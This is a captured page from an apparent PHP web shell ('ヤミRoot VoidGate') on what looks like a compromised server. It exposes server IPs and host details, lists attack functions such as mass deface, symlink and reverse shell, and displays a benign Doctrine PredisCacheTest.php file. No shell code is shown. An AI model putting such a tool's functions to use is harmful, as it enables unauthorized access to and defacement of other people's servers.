ヤミRoot VoidGate
User / IP
:
216.73.216.33
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
doctrine
/
cache
/
tests
/
Doctrine
/
Tests
/
Common
/
Cache
/
Viewing: PredisCacheTest.php
<?php namespace Doctrine\Tests\Common\Cache; use Doctrine\Common\Cache\Cache; use Doctrine\Common\Cache\PredisCache; use Predis\Client; use Predis\Connection\ConnectionException; class PredisCacheTest extends CacheTest { private $client; protected function setUp() { if (!class_exists('Predis\Client')) { $this->markTestSkipped('Predis\Client is missing. Make sure to "composer install" to have all dev dependencies.'); } $this->client = new Client(); try { $this->client->connect(); } catch (ConnectionException $e) { $this->markTestSkipped('Cannot connect to Redis because of: ' . $e); } } public function testHitMissesStatsAreProvided() { $cache = $this->_getCacheDriver(); $stats = $cache->getStats(); $this->assertNotNull($stats[Cache::STATS_HITS]); $this->assertNotNull($stats[Cache::STATS_MISSES]); } /** * @return PredisCache */ protected function _getCacheDriver() { return new PredisCache($this->client); } /** * {@inheritDoc} * * @dataProvider provideDataToCache */ public function testSetContainsFetchDelete($value) { if (array() === $value) { $this->markTestIncomplete( 'Predis currently doesn\'t support saving empty array values. ' . 'See https://github.com/nrk/predis/issues/241' ); } parent::testSetContainsFetchDelete($value); } /** * {@inheritDoc} * * @dataProvider provideDataToCache */ public function testUpdateExistingEntry($value) { if (array() === $value) { $this->markTestIncomplete( 'Predis currently doesn\'t support saving empty array values. ' . 'See https://github.com/nrk/predis/issues/241' ); } parent::testUpdateExistingEntry($value); } public function testAllowsGenericPredisClient() { /* @var $predisClient \Predis\ClientInterface */ $predisClient = $this->getMock('Predis\\ClientInterface'); $this->assertInstanceOf('Doctrine\\Common\\Cache\\PredisCache', new PredisCache($predisClient)); } }
Coded With 💗 by
0x6ick